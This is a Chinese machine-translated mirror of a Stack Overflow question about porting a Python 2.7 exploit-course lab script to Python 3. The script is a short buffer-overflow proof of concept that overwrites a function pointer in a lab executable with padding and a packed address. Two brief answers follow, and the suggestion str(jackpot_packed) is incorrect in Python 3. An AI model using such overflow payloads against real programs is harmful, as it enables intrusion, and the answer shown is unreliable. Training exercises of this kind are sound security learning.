繁体   English   中英

需要帮助重写python 2.7 Unicode代码才能与3.x一起使用

[英]Need help rewriting python 2.7 Unicode code to work with 3.x

我正在完成有关Pluralsight的Exploit开发课程,目前在实验室中,我们正在做基本的函数指针覆盖。 实验室的python脚本实际上使用24字节字符串输入(以“ jackpot”函数的内存地址结尾)运行目标可执行文件。 这是代码:

#!/usr/bin/python
import sys
import subprocess
import struct

# 20+4+8+4=36 would overwrite 'r', but we only want to hit the func ptr

jackpot = 0x401591
# we only take 3 of the 4 bytes because strings cannot have a null,
# but will be null terminated terminated to complete the dword address
jackpot_packed = struct.pack('L', jackpot)[0:3]

arg = "A" * 20
arg += jackpot_packed
# or
# arg += "\x91\x15\x40"

subprocess.call(['functionoverwrite.exe', arg])

该脚本运行无错误,并且可以使用python 2.7.8正常运行,但是使用3.7.2时,出现此错误:

追溯(最近一次通话最近):文件“ c:/ Users / rossk / Desktop / Pluralsight / Exploit Development / 03 / demos / lab2 / solution / solution.py”,第14行,在arg + = jackpot_packed TypeError中:只能串联str(不是“字节”)到str

因此,我尝试注释掉“ arg + = jackpot_packed”表达式,并改用“ arg + =” \\ x91 \\ x15 \\ x40“,但这显然不会导致相同的字符串,因为当我运行脚本时目标可执行文件崩溃而未调用累积奖金函数。

我正在寻找一种针对python 3修复此程序的方法。如何重写此代码,使其适用于3.x?

在Python 3中,unicode(str)对象和bytes对象之间没有隐式转换。 如果您知道输出的编码,则可以对它进行.decode()以获取字符串,也可以使用“ \\ n”将要添加的\\ n转换为字节。encode('ascii')

尝试arg + = str(jackpot_packed)

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM